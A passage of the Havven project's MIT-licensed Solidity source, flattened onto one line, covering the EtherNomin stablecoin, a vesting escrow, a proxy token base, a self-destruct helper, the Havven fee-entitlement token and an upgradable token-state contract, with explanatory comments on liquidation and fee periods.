========== MUTATIVE FUNCTIONS ========== */ /* Override ERC20 transfer function in order to check * whether the recipient account is frozen. Note that there is * no need to check whether the sender has a frozen account, * since their funds have already been confiscated, * and no new funds can be transferred to it.*/ function transfer(address to, uint value) public optionalProxy returns (bool) { require(!frozen[to]); return _transfer_byProxy(messageSender, to, value); } /* Override ERC20 transferFrom function in order to check * whether the recipient account is frozen. */ function transferFrom(address from, address to, uint value) public optionalProxy returns (bool) { require(!frozen[to]); return _transferFrom_byProxy(messageSender, from, to, value); } /* Update the current ether price and update the last updated time, * refreshing the price staleness. * Also checks whether the contract's collateral levels have fallen to low, * and initiates liquidation if that is the case. * Exceptional conditions: * Not called by the oracle. * Not the most recently sent price. */ function updatePrice(uint price, uint timeSent) external postCheckAutoLiquidate { // Should be callable only by the oracle. require(msg.sender == oracle); // Must be the most recently sent price, but not too far in the future. // (so we can't lock ourselves out of updating the oracle for longer than this) require(lastPriceUpdate < timeSent && timeSent < now + 10 minutes); etherPrice = price; lastPriceUpdate = timeSent; emit PriceUpdated(price); } /* Issues n nomins into the pool available to be bought by users. * Must be accompanied by $n worth of ether. * Exceptional conditions: * Not called by contract owner. * Insufficient backing funds provided (post-issuance collateralisation below minimum requirement). * Price is stale. */ function replenishPool(uint n) external payable notLiquidating optionalProxy_onlyOwner { // Price staleness check occurs inside the call to fiatBalance. // Safe additions are unnecessary here, as either the addition is checked on the following line // or the overflow would cause the requirement not to be satisfied. require(fiatBalance() >= safeMul_dec(safeAdd(_nominCap(), n), MINIMUM_ISSUANCE_RATIO)); nominPool = safeAdd(nominPool, n); emit PoolReplenished(n, msg.value); } /* Burns n nomins from the pool. * Exceptional conditions: * Not called by contract owner. * There are fewer than n nomins in the pool. */ function diminishPool(uint n) external optionalProxy_onlyOwner { // Require that there are enough nomins in the accessible pool to burn require(nominPool >= n); nominPool = safeSub(nominPool, n); emit PoolDiminished(n); } /* Sends n nomins to the sender from the pool, in exchange for * $n plus the fee worth of ether. * Exceptional conditions: * Insufficient or too many funds provided. * More nomins requested than are in the pool. * n below the purchase minimum (1 cent). * contract in liquidation. * Price is stale. */ function buy(uint n) external payable notLiquidating optionalProxy { // Price staleness check occurs inside the call to purchaseEtherCost. require(n >= MINIMUM_PURCHASE && msg.value == purchaseCostEther(n)); address sender = messageSender; // sub requires that nominPool >= n nominPool = safeSub(nominPool, n); state.setBalanceOf(sender, safeAdd(state.balanceOf(sender), n)); emit Purchased(sender, sender, n, msg.value); emit Transfer(0, sender, n); totalSupply = safeAdd(totalSupply, n); } /* Sends n nomins to the pool from the sender, in exchange for * $n minus the fee worth of ether. * Exceptional conditions: * Insufficient nomins in sender's wallet. * Insufficient funds in the pool to pay sender. * Price is stale if not in liquidation. */ function sell(uint n) external optionalProxy { // Price staleness check occurs inside the call to saleProceedsEther, // but we allow people to sell their nomins back to the system // if we're in liquidation, regardless. uint proceeds; if (isLiquidating()) { proceeds = saleProceedsEtherAllowStale(n); } else { proceeds = saleProceedsEther(n); } require(address(this).balance >= proceeds); address sender = messageSender; // sub requires that the balance is greater than n state.setBalanceOf(sender, safeSub(state.balanceOf(sender), n)); nominPool = safeAdd(nominPool, n); emit Sold(sender, sender, n, proceeds); emit Transfer(sender, 0, n); totalSupply = safeSub(totalSupply, n); sender.transfer(proceeds); } /* Lock nomin purchase function in preparation for destroying the contract. * While the contract is under liquidation, users may sell nomins back to the system. * After liquidation period has terminated, the contract may be self-destructed, * returning all remaining ether to the beneficiary address. * Exceptional cases: * Not called by contract owner; * contract already in liquidation; */ function forceLiquidation() external notLiquidating optionalProxy_onlyOwner { beginLiquidation(); } function beginLiquidation() internal { liquidationTimestamp = now; emit LiquidationBegun(liquidationPeriod); } /* If the contract is liquidating, the owner may extend the liquidation period. * It may only get longer, not shorter, and it may not be extended past * the liquidation max. */ function extendLiquidationPeriod(uint extension) external optionalProxy_onlyOwner { require(isLiquidating()); uint sum = safeAdd(liquidationPeriod, extension); require(sum <= MAX_LIQUIDATION_PERIOD); liquidationPeriod = sum; emit LiquidationExtended(extension); } /* Liquidation can only be stopped if the collateralisation ratio * of this contract has recovered above the automatic liquidation * threshold, for example if the ether price has increased, * or by including enough ether in this transaction. */ function terminateLiquidation() external payable priceNotStale optionalProxy_onlyOwner { require(isLiquidating()); require(_nominCap() == 0 || collateralisationRatio() >= AUTO_LIQUIDATION_RATIO); liquidationTimestamp = ~uint(0); liquidationPeriod = DEFAULT_LIQUIDATION_PERIOD; emit LiquidationTerminated(); } /* The owner may destroy this contract, returning all funds back to the beneficiary * wallet, may only be called after the contract has been in * liquidation for at least liquidationPeriod, or all circulating * nomins have been sold back into the pool. */ function selfDestruct() external optionalProxy_onlyOwner { require(canSelfDestruct()); emit SelfDestructed(beneficiary); selfdestruct(beneficiary); } /* If a confiscation court motion has passed and reached the confirmation * state, the court may transfer the target account's balance to the fee pool * and freeze its participation in further transactions. */ function confiscateBalance(address target) external { // Should be callable only by the confiscation court. require(Court(msg.sender) == court); // A motion must actually be underway. uint motionID = court.targetMotionID(target); require(motionID != 0); // These checks are strictly unnecessary, // since they are already checked in the court contract itself. // I leave them in out of paranoia. require(court.motionConfirming(motionID)); require(court.motionPasses(motionID)); require(!frozen[target]); // Confiscate the balance in the account and freeze it. uint balance = state.balanceOf(target); state.setBalanceOf(address(this), safeAdd(state.balanceOf(address(this)), balance)); state.setBalanceOf(target, 0); frozen[target] = true; emit AccountFrozen(target, target, balance); emit Transfer(target, address(this), balance); } /* The owner may allow a previously-frozen contract to once * again accept and transfer nomins. */ function unfreezeAccount(address target) external optionalProxy_onlyOwner { if (frozen[target] && EtherNomin(target) != this) { frozen[target] = false; emit AccountUnfrozen(target, target); } } /* Fallback function allows convenient collateralisation of the contract, * including by non-foundation parties. */ function() public payable {} /* ========== MODIFIERS ========== */ modifier notLiquidating { require(!isLiquidating()); _; } modifier priceNotStale { require(!priceIsStale()); _; } /* Any function modified by this will automatically liquidate * the system if the collateral levels are too low. * This is called on collateral-value/nomin-supply modifying functions that can * actually move the contract into liquidation. This is really only * the price update, since issuance requires that the contract is overcollateralised, * burning can only destroy tokens without withdrawing backing, buying from the pool can only * asymptote to a collateralisation level of unity, while selling into the pool can only * increase the collateralisation ratio. * Additionally, price update checks should/will occur frequently. */ modifier postCheckAutoLiquidate { _; if (!isLiquidating() && _nominCap() != 0 && collateralisationRatio() < AUTO_LIQUIDATION_RATIO) { beginLiquidation(); } } /* ========== EVENTS ========== */ event PoolReplenished(uint nominsCreated, uint collateralDeposited); event PoolDiminished(uint nominsDestroyed); event Purchased(address buyer, address indexed buyerIndex, uint nomins, uint eth); event Sold(address seller, address indexed sellerIndex, uint nomins, uint eth); event PriceUpdated(uint newPrice); event StalePeriodUpdated(uint newPeriod); event OracleUpdated(address newOracle); event CourtUpdated(address newCourt); event BeneficiaryUpdated(address newBeneficiary); event LiquidationBegun(uint duration); event LiquidationTerminated(); event LiquidationExtended(uint extension); event PoolFeeRateUpdated(uint newFeeRate); event SelfDestructed(address beneficiary); event AccountFrozen(address target, address indexed targetIndex, uint balance); event AccountUnfrozen(address target, address indexed targetIndex); } /* ----------------------------------------------------------------- CONTRACT DESCRIPTION ----------------------------------------------------------------- A token interface to be overridden to produce an ERC20-compliant token contract. It relies on being called underneath a proxy, as described in Proxy.sol. This contract utilises a state for upgradability purposes. ----------------------------------------------------------------- */ contract ExternStateProxyToken is SafeDecimalMath, Proxyable { /* ========== STATE VARIABLES ========== */ // Stores balances and allowances. TokenState public state; // Other ERC20 fields string public name; string public symbol; uint public totalSupply; /* ========== CONSTRUCTOR ========== */ function ExternStateProxyToken(string _name, string _symbol, uint initialSupply, address initialBeneficiary, TokenState _state, address _owner) Proxyable(_owner) public { name = _name; symbol = _symbol; totalSupply = initialSupply; // if the state isn't set, create a new one if (_state == TokenState(0)) { state = new TokenState(_owner, address(this)); state.setBalanceOf(initialBeneficiary, totalSupply); emit Transfer(address(0), initialBeneficiary, initialSupply); } else { state = _state; } } /* ========== VIEWS ========== */ function allowance(address tokenOwner, address spender) public view returns (uint) { return state.allowance(tokenOwner, spender); } function balanceOf(address account) public view returns (uint) { return state.balanceOf(account); } /* ========== MUTATIVE FUNCTIONS ========== */ function setState(TokenState _state) external optionalProxy_onlyOwner { state = _state; emit StateUpdated(_state); } /* Anything calling this must apply the onlyProxy or optionalProxy modifiers.*/ function _transfer_byProxy(address sender, address to, uint value) internal returns (bool) { require(to != address(0)); // Insufficient balance will be handled by the safe subtraction. state.setBalanceOf(sender, safeSub(state.balanceOf(sender), value)); state.setBalanceOf(to, safeAdd(state.balanceOf(to), value)); emit Transfer(sender, to, value); return true; } /* Anything calling this must apply the onlyProxy or optionalProxy modifiers.*/ function _transferFrom_byProxy(address sender, address from, address to, uint value) internal returns (bool) { require(from != address(0) && to != address(0)); // Insufficient balance will be handled by the safe subtraction. state.setBalanceOf(from, safeSub(state.balanceOf(from), value)); state.setAllowance(from, sender, safeSub(state.allowance(from, sender), value)); state.setBalanceOf(to, safeAdd(state.balanceOf(to), value)); emit Transfer(from, to, value); return true; } function approve(address spender, uint value) external optionalProxy returns (bool) { address sender = messageSender; state.setAllowance(sender, spender, value); emit Approval(sender, spender, value); return true; } /* ========== EVENTS ========== */ event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); event StateUpdated(address newState); } /* ----------------------------------------------------------------- CONTRACT DESCRIPTION ----------------------------------------------------------------- This contract allows the foundation to apply unique vesting schedules to havven funds sold at various discounts in the token sale. HavvenEscrow gives users the ability to inspect their vested funds, their quantities and vesting dates, and to withdraw the fees that accrue on those funds. The fees are handled by withdrawing the entire fee allocation for all havvens inside the escrow contract, and then allowing the contract itself to subdivide that pool up proportionally within itself. Every time the fee period rolls over in the main Havven contract, the HavvenEscrow fee pool is remitted back into the main fee pool to be redistributed in the next fee period. ----------------------------------------------------------------- */ contract HavvenEscrow is Owned, LimitedSetup(8 weeks), SafeDecimalMath { // The corresponding Havven contract. Havven public havven; // Lists of (timestamp, quantity) pairs per account, sorted in ascending time order. // These are the times at which each given quantity of havvens vests. mapping(address => uint[2][]) public vestingSchedules; // An account's total vested havven balance to save recomputing this for fee extraction purposes. mapping(address => uint) public totalVestedAccountBalance; // The total remaining vested balance, for verifying the actual havven balance of this contract against. uint public totalVestedBalance; /* ========== CONSTRUCTOR ========== */ function HavvenEscrow(address _owner, Havven _havven) Owned(_owner) public { havven = _havven; } /* ========== SETTERS ========== */ function setHavven(Havven _havven) external onlyOwner { havven = _havven; emit HavvenUpdated(_havven); } /* ========== VIEW FUNCTIONS ========== */ /* A simple alias to totalVestedAccountBalance: provides ERC20 balance integration. */ function balanceOf(address account) public view returns (uint) { return totalVestedAccountBalance[account]; } /* The number of vesting dates in an account's schedule. */ function numVestingEntries(address account) public view returns (uint) { return vestingSchedules[account].length; } /* Get a particular schedule entry for an account. * The return value is a pair (timestamp, havven quantity) */ function getVestingScheduleEntry(address account, uint index) public view returns (uint[2]) { return vestingSchedules[account][index]; } /* Get the time at which a given schedule entry will vest. */ function getVestingTime(address account, uint index) public view returns (uint) { return vestingSchedules[account][index][0]; } /* Get the quantity of havvens associated with a given schedule entry. */ function getVestingQuantity(address account, uint index) public view returns (uint) { return vestingSchedules[account][index][1]; } /* Obtain the index of the next schedule entry that will vest for a given user. */ function getNextVestingIndex(address account) public view returns (uint) { uint len = numVestingEntries(account); for (uint i = 0; i < len; i++) { if (getVestingTime(account, i) != 0) { return i; } } return len; } /* Obtain the next schedule entry that will vest for a given user. * The return value is a pair (timestamp, havven quantity) */ function getNextVestingEntry(address account) external view returns (uint[2]) { uint index = getNextVestingIndex(account); if (index == numVestingEntries(account)) { return [uint(0), 0]; } return getVestingScheduleEntry(account, index); } /* Obtain the time at which the next schedule entry will vest for a given user. */ function getNextVestingTime(address account) external view returns (uint) { uint index = getNextVestingIndex(account); if (index == numVestingEntries(account)) { return 0; } return getVestingTime(account, index); } /* Obtain the quantity which the next schedule entry will vest for a given user. */ function getNextVestingQuantity(address account) external view returns (uint) { uint index = getNextVestingIndex(account); if (index == numVestingEntries(account)) { return 0; } return getVestingQuantity(account, index); } /* ========== MUTATIVE FUNCTIONS ========== */ /* Withdraws a quantity of havvens back to the havven contract. */ function withdrawHavvens(uint quantity) external onlyOwner setupFunction { havven.transfer(havven, quantity); } /* Destroy the vesting information associated with an account. */ function purgeAccount(address account) external onlyOwner setupFunction { delete vestingSchedules[account]; totalVestedBalance = safeSub(totalVestedBalance, totalVestedAccountBalance[account]); delete totalVestedAccountBalance[account]; } /* Add a new vesting entry at a given time and quantity to an account's schedule. * A call to this should be accompanied by either enough balance already available * in this contract, or a corresponding call to havven.endow(), to ensure that when * the funds are withdrawn, there is enough balance, as well as correctly calculating * the fees. * Note; although this function could technically be used to produce unbounded * arrays, it's only in the foundation's command to add to these lists. */ function appendVestingEntry(address account, uint time, uint quantity) public onlyOwner setupFunction { // No empty or already-passed vesting entries allowed. require(now < time); require(quantity != 0); totalVestedBalance = safeAdd(totalVestedBalance, quantity); require(totalVestedBalance <= havven.balanceOf(this)); if (vestingSchedules[account].length == 0) { totalVestedAccountBalance[account] = quantity; } else { // Disallow adding new vested havvens earlier than the last one. // Since entries are only appended, this means that no vesting date can be repeated. require(getVestingTime(account, numVestingEntries(account) - 1) < time); totalVestedAccountBalance[account] = safeAdd(totalVestedAccountBalance[account], quantity); } vestingSchedules[account].push([time, quantity]); } /* Construct a vesting schedule to release a quantities of havvens * over a series of intervals. Assumes that the quantities are nonzero * and that the sequence of timestamps is strictly increasing. */ function addVestingSchedule(address account, uint[] times, uint[] quantities) external onlyOwner setupFunction { for (uint i = 0; i < times.length; i++) { appendVestingEntry(account, times[i], quantities[i]); } } /* Allow a user to withdraw any tokens that have vested. */ function vest() external { uint total; for (uint i = 0; i < numVestingEntries(msg.sender); i++) { uint time = getVestingTime(msg.sender, i); // The list is sorted; when we reach the first future time, bail out. if (time > now) { break; } uint qty = getVestingQuantity(msg.sender, i); if (qty == 0) { continue; } vestingSchedules[msg.sender][i] = [0, 0]; total = safeAdd(total, qty); totalVestedAccountBalance[msg.sender] = safeSub(totalVestedAccountBalance[msg.sender], qty); } if (total != 0) { totalVestedBalance = safeSub(totalVestedBalance, total); havven.transfer(msg.sender, total); emit Vested(msg.sender, msg.sender, now, total); } } /* ========== EVENTS ========== */ event HavvenUpdated(address newHavven); event Vested(address beneficiary, address indexed beneficiaryIndex, uint time, uint value); } /* ----------------------------------------------------------------- CONTRACT DESCRIPTION ----------------------------------------------------------------- This contract allows an inheriting contract to be destroyed after its owner indicates an intention and then waits for a period without changing their mind. ----------------------------------------------------------------- */ contract SelfDestructible is Owned { uint public initiationTime = ~uint(0); uint constant SD_DURATION = 3 days; address public beneficiary; function SelfDestructible(address _owner, address _beneficiary) public Owned(_owner) { beneficiary = _beneficiary; } function setBeneficiary(address _beneficiary) external onlyOwner { beneficiary = _beneficiary; emit SelfDestructBeneficiaryUpdated(_beneficiary); } function initiateSelfDestruct() external onlyOwner { initiationTime = now; emit SelfDestructInitiated(SD_DURATION); } function terminateSelfDestruct() external onlyOwner { initiationTime = ~uint(0); emit SelfDestructTerminated(); } function selfDestruct() external onlyOwner { require(initiationTime + SD_DURATION < now); emit SelfDestructed(beneficiary); selfdestruct(beneficiary); } event SelfDestructBeneficiaryUpdated(address newBeneficiary); event SelfDestructInitiated(uint duration); event SelfDestructTerminated(); event SelfDestructed(address beneficiary); } /* ----------------------------------------------------------------- CONTRACT DESCRIPTION ----------------------------------------------------------------- Havven token contract. Havvens are transferable ERC20 tokens, and also give their holders the following privileges. An owner of havvens is entitled to a share in the fees levied on nomin transactions, and additionally may participate in nomin confiscation votes. After a fee period terminates, the duration and fees collected for that period are computed, and the next period begins. Thus an account may only withdraw the fees owed to them for the previous period, and may only do so once per period. Any unclaimed fees roll over into the common pot for the next period. The fee entitlement of a havven holder is proportional to their average havven balance over the last fee period. This is computed by measuring the area under the graph of a user's balance over time, and then when fees are distributed, dividing through by the duration of the fee period. We need only update fee entitlement on transfer when the havven balances of the sender and recipient are modified. This is for efficiency, and adds an implicit friction to trading in the havven market. A havven holder pays for his own recomputation whenever he wants to change his position, which saves the foundation having to maintain a pot dedicated to resourcing this. A hypothetical user's balance history over one fee period, pictorially: s ____ | | | |___ p |____|___|___ __ _ _ f t n Here, the balance was s between times f and t, at which time a transfer occurred, updating the balance to p, until n, when the present transfer occurs. When a new transfer occurs at time n, the balance being p, we must: - Add the area p * (n - t) to the total area recorded so far - Update the last transfer time to p So if this graph represents the entire current fee period, the average havvens held so far is ((t-f)*s + (n-t)*p) / (n-f). The complementary computations must be performed for both sender and recipient. Note that a transfer keeps global supply of havvens invariant. The sum of all balances is constant, and unmodified by any transfer. So the sum of all balances multiplied by the duration of a fee period is also constant, and this is equivalent to the sum of the area of every user's time/balance graph. Dividing through by that duration yields back the total havven supply. So, at the end of a fee period, we really do yield a user's average share in the havven supply over that period. A slight wrinkle is introduced if we consider the time r when the fee period rolls over. Then the previous fee period k-1 is before r, and the current fee period k is afterwards. If the last transfer took place before r, but the latest transfer occurred afterwards: k-1 | k s __|_ | | | | | |____ p |__|_|____|___ __ _ _ | f | t n r In this situation the area (r-f)*s contributes to fee period k-1, while the area (t-r)*s contributes to fee period k. We will implicitly consider a zero-value transfer to have occurred at time r. Their fee entitlement for the previous period will be finalised at the time of their first transfer during the current fee period, or when they query or withdraw their fee entitlement. In the implementation, the duration of different fee periods may be slightly irregular, as the check that they have rolled over occurs only when state-changing havven operations are performed. Additionally, we keep track also of the penultimate and not just the last average balance, in order to support the voting functionality detailed in Court.sol. ----------------------------------------------------------------- */ contract Havven is ExternStateProxyToken, SelfDestructible { /* ========== STATE VARIABLES ========== */ // Sums of balances*duration in the current fee period. // range: decimals; units: havven-seconds mapping(address => uint) public currentBalanceSum; // Average account balances in the last completed fee period. This is proportional // to that account's last period fee entitlement. // (i.e. currentBalanceSum for the previous period divided through by duration) // WARNING: This may not have been updated for the latest fee period at the // time it is queried. // range: decimals; units: havvens mapping(address => uint) public lastAverageBalance; // The average account balances in the period before the last completed fee period. // This is used as a person's weight in a confiscation vote, so it implies that // the vote duration must be no longer than the fee period in order to guarantee that // no portion of a fee period used for determining vote weights falls within the // duration of a vote it contributes to. // WARNING: This may not have been updated for the latest fee period at the // time it is queried. mapping(address => uint) public penultimateAverageBalance; // The time an account last made a transfer. // range: naturals mapping(address => uint) public lastTransferTimestamp; // The time the current fee period began. uint public feePeriodStartTime = 3; // The actual start of the last fee period (seconds). // This, and the penultimate fee period can be initially set to any value // 0 < val < now, as everyone's individual lastTransferTime will be 0 // and as such, their lastAvgBal/penultimateAvgBal will be set to that value // apart from the contract, which will have totalSupply uint public lastFeePeriodStartTime = 2; // The actual start of the penultimate fee period (seconds). uint public penultimateFeePeriodStartTime = 1; // Fee periods will roll over in no shorter a time than this. uint public targetFeePeriodDurationSeconds = 4 weeks; // And may not be set to be shorter than a day. uint constant MIN_FEE_PERIOD_DURATION_SECONDS = 1 days; // And may not be set to be longer than six months. uint constant MAX_FEE_PERIOD_DURATION_SECONDS = 26 weeks; // The quantity of nomins that were in the fee pot at the time // of the last fee rollover (feePeriodStartTime). uint public lastFeesCollected; mapping(address => bool) public hasWithdrawnLastPeriodFees; EtherNomin public nomin; HavvenEscrow public escrow; /* ========== CONSTRUCTOR ========== */ function Havven(TokenState initialState, address _owner) ExternStateProxyToken("Havven", "HAV", 1e8 * UNIT, address(this), initialState, _owner) SelfDestructible(_owner, _owner) // Owned is initialised in ExternStateProxyToken public { lastTransferTimestamp[this] = now; feePeriodStartTime = now; lastFeePeriodStartTime = now - targetFeePeriodDurationSeconds; penultimateFeePeriodStartTime = now - 2*targetFeePeriodDurationSeconds; } /* ========== SETTERS ========== */ function setNomin(EtherNomin _nomin) external optionalProxy_onlyOwner { nomin = _nomin; } function setEscrow(HavvenEscrow _escrow) external optionalProxy_onlyOwner { escrow = _escrow; } function setTargetFeePeriodDuration(uint duration) external postCheckFeePeriodRollover optionalProxy_onlyOwner { require(MIN_FEE_PERIOD_DURATION_SECONDS <= duration && duration <= MAX_FEE_PERIOD_DURATION_SECONDS); targetFeePeriodDurationSeconds = duration; emit FeePeriodDurationUpdated(duration); } /* ========== MUTATIVE FUNCTIONS ========== */ /* Allow the owner of this contract to endow any address with havvens * from the initial supply. Since the entire initial supply resides * in the havven contract, this disallows the foundation from withdrawing * fees on undistributed balances. This function can also be used * to retrieve any havvens sent to the Havven contract itself. */ function endow(address account, uint value) external optionalProxy_onlyOwner returns (bool) { // Use "this" in order that the havven account is the sender. // That this is an explicit transfer also initialises fee entitlement information. return _transfer(this, account, value); } /* Allow the owner of this contract to emit transfer events for * contract setup purposes. */ function emitTransferEvents(address sender, address[] recipients, uint[] values) external onlyOwner { for (uint i = 0; i < recipients.length; ++i) { emit Transfer(sender, recipients[i], values[i]); } } /* Override ERC20 transfer function in order to perform * fee entitlement recomputation whenever balances are updated. */ function transfer(address to, uint value) external optionalProxy returns (bool) { return _transfer(messageSender, to, value); } /* Anything calling this must apply the optionalProxy or onlyProxy modifier. */ function _transfer(address sender, address to, uint value) internal preCheckFeePeriodRollover returns (bool) { uint senderPreBalance = state.balanceOf(sender); uint recipientPreBalance = state.balanceOf(to); // Perform the transfer: if there is a problem, // an exception will be thrown in this call. _transfer_byProxy(sender, to, value); // Zero-value transfers still update fee entitlement information, // and may roll over the fee period. adjustFeeEntitlement(sender, senderPreBalance); adjustFeeEntitlement(to, recipientPreBalance); return true; } /* Override ERC20 transferFrom function in order to perform * fee entitlement recomputation whenever balances are updated. */ function transferFrom(address from, address to, uint value) external preCheckFeePeriodRollover optionalProxy returns (bool) { uint senderPreBalance = state.balanceOf(from); uint recipientPreBalance = state.balanceOf(to); // Perform the transfer: if there is a problem, // an exception will be thrown in this call. _transferFrom_byProxy(messageSender, from, to, value); // Zero-value transfers still update fee entitlement information, // and may roll over the fee period. adjustFeeEntitlement(from, senderPreBalance); adjustFeeEntitlement(to, recipientPreBalance); return true; } /* Compute the last period's fee entitlement for the message sender * and then deposit it into their nomin account. */ function withdrawFeeEntitlement() public preCheckFeePeriodRollover optionalProxy { address sender = messageSender; // Do not deposit fees into frozen accounts. require(!nomin.frozen(sender)); // check the period has rolled over first rolloverFee(sender, lastTransferTimestamp[sender], state.balanceOf(sender)); // Only allow accounts to withdraw fees once per period. require(!hasWithdrawnLastPeriodFees[sender]); uint feesOwed; if (escrow != HavvenEscrow(0)) { feesOwed = escrow.totalVestedAccountBalance(sender); } feesOwed = safeDiv_dec(safeMul_dec(safeAdd(feesOwed, lastAverageBalance[sender]), lastFeesCollected), totalSupply); hasWithdrawnLastPeriodFees[sender] = true; if (feesOwed != 0) { nomin.withdrawFee(sender, feesOwed); emit FeesWithdrawn(sender, sender, feesOwed); } } /* Update the fee entitlement since the last transfer or entitlement * adjustment. Since this updates the last transfer timestamp, if invoked * consecutively, this function will do nothing after the first call. */ function adjustFeeEntitlement(address account, uint preBalance) internal { // The time since the last transfer clamps at the last fee rollover time if the last transfer // was earlier than that. rolloverFee(account, lastTransferTimestamp[account], preBalance); currentBalanceSum[account] = safeAdd( currentBalanceSum[account], safeMul(preBalance, now - lastTransferTimestamp[account]) ); // Update the last time this user's balance changed. lastTransferTimestamp[account] = now; } /* Update the given account's previous period fee entitlement value. * Do nothing if the last transfer occurred since the fee period rolled over. * If the entitlement was updated, also update the last transfer time to be * at the timestamp of the rollover, so if this should do nothing if called more * than once during a given period. * * Consider the case where the entitlement is updated. If the last transfer * occurred at time t in the last period, then the starred region is added to the * entitlement, the last transfer timestamp is moved to r, and the fee period is * rolled over from k-1 to k so that the new fee period start time is at time r. * * k-1 | k * s __| * _ _ ___|**| * |**| * _ _ ___|**|___ __ _ _ * | * t | * r * * Similar computations are performed according to the fee period in which the * last transfer occurred. */ function rolloverFee(address account, uint lastTransferTime, uint preBalance) internal { if (lastTransferTime < feePeriodStartTime) { if (lastTransferTime < lastFeePeriodStartTime) { // The last transfer predated the previous two fee periods. if (lastTransferTime < penultimateFeePeriodStartTime) { // The balance did nothing in the penultimate fee period, so the average balance // in this period is their pre-transfer balance. penultimateAverageBalance[account] = preBalance; // The last transfer occurred within the one-before-the-last fee period. } else { // No overflow risk here: the failed guard implies (penultimateFeePeriodStartTime <= lastTransferTime). penultimateAverageBalance[account] = safeDiv( safeAdd(currentBalanceSum[account], safeMul(preBalance, (lastFeePeriodStartTime - lastTransferTime))), (lastFeePeriodStartTime - penultimateFeePeriodStartTime) ); } // The balance did nothing in the last fee period, so the average balance // in this period is their pre-transfer balance. lastAverageBalance[account] = preBalance; // The last transfer occurred within the last fee period. } else { // The previously-last average balance becomes the penultimate balance. penultimateAverageBalance[account] = lastAverageBalance[account]; // No overflow risk here: the failed guard implies (lastFeePeriodStartTime <= lastTransferTime). lastAverageBalance[account] = safeDiv( safeAdd(currentBalanceSum[account], safeMul(preBalance, (feePeriodStartTime - lastTransferTime))), (feePeriodStartTime - lastFeePeriodStartTime) ); } // Roll over to the next fee period. currentBalanceSum[account] = 0; hasWithdrawnLastPeriodFees[account] = false; lastTransferTimestamp[account] = feePeriodStartTime; } } /* Recompute and return the given account's average balance information. * This also rolls over the fee period if necessary, and brings * the account's current balance sum up to date. */ function _recomputeAccountLastAverageBalance(address account) internal preCheckFeePeriodRollover returns (uint) { adjustFeeEntitlement(account, state.balanceOf(account)); return lastAverageBalance[account]; } /* Recompute and return the sender's average balance information. */ function recomputeLastAverageBalance() external optionalProxy returns (uint) { return _recomputeAccountLastAverageBalance(messageSender); } /* Recompute and return the given account's average balance information. */ function recomputeAccountLastAverageBalance(address account) external returns (uint) { return _recomputeAccountLastAverageBalance(account); } function rolloverFeePeriod() public { checkFeePeriodRollover(); } /* ========== MODIFIERS ========== */ /* If the fee period has rolled over, then * save the start times of the last fee period, * as well as the penultimate fee period. */ function checkFeePeriodRollover() internal { // If the fee period has rolled over... if (feePeriodStartTime + targetFeePeriodDurationSeconds <= now) { lastFeesCollected = nomin.feePool(); // Shift the three period start times back one place penultimateFeePeriodStartTime = lastFeePeriodStartTime; lastFeePeriodStartTime = feePeriodStartTime; feePeriodStartTime = now; emit FeePeriodRollover(now); } } modifier postCheckFeePeriodRollover { _; checkFeePeriodRollover(); } modifier preCheckFeePeriodRollover { checkFeePeriodRollover(); _; } /* ========== EVENTS ========== */ event FeePeriodRollover(uint timestamp); event FeePeriodDurationUpdated(uint duration); event FeesWithdrawn(address account, address indexed accountIndex, uint value); } /* ----------------------------------------------------------------- CONTRACT DESCRIPTION ----------------------------------------------------------------- A contract that holds the state of an ERC20 compliant token. This contract is used side by side with external state token contracts, such as Havven and EtherNomin. It provides an easy way to upgrade contract logic while maintaining all user balances and allowances. This is designed to to make the changeover as easy as possible, since mappings are not so cheap or straightforward to migrate. The first deployed contract would create this state contract, using it as its store of balances. When a new contract is deployed, it links to the existing state contract, whose owner would then change its associated contract to the new one. ----------------------------------------------------------------- */ contract TokenState is Owned { // the address of the contract that can modify balances and allowances // this can only be changed by the owner of this contract address public associatedContract; // ERC20 fields. mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; function TokenState(address _owner, address _associatedContract) Owned(_owner) public { associatedContract = _associatedContract; emit AssociatedContractUpdated(_associatedContract); } /* ========== SETTERS ========== */ // Change the associated contract to a new address function setAssociatedContract(address _associatedContract) external onlyOwner { associatedContract = _associatedContract; emit AssociatedContractUpdated(_associatedContract); } function setAllowance(address tokenOwner, address spender, uint value) external onlyAssociatedContract { allowance[tokenOwner][spender] = value; } function setBalanceOf(address account, uint value) external onlyAssociatedContract { balanceOf[account] = value; } /* ========== MODIFIERS ========== */ modifier onlyAssociatedContract { require(msg.sender == associatedContract); _; } /* ========== EVENTS ========== */ event AssociatedContractUpdated(address _associatedContract); } /* MIT License Copyright (c) 2018 Havven Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */
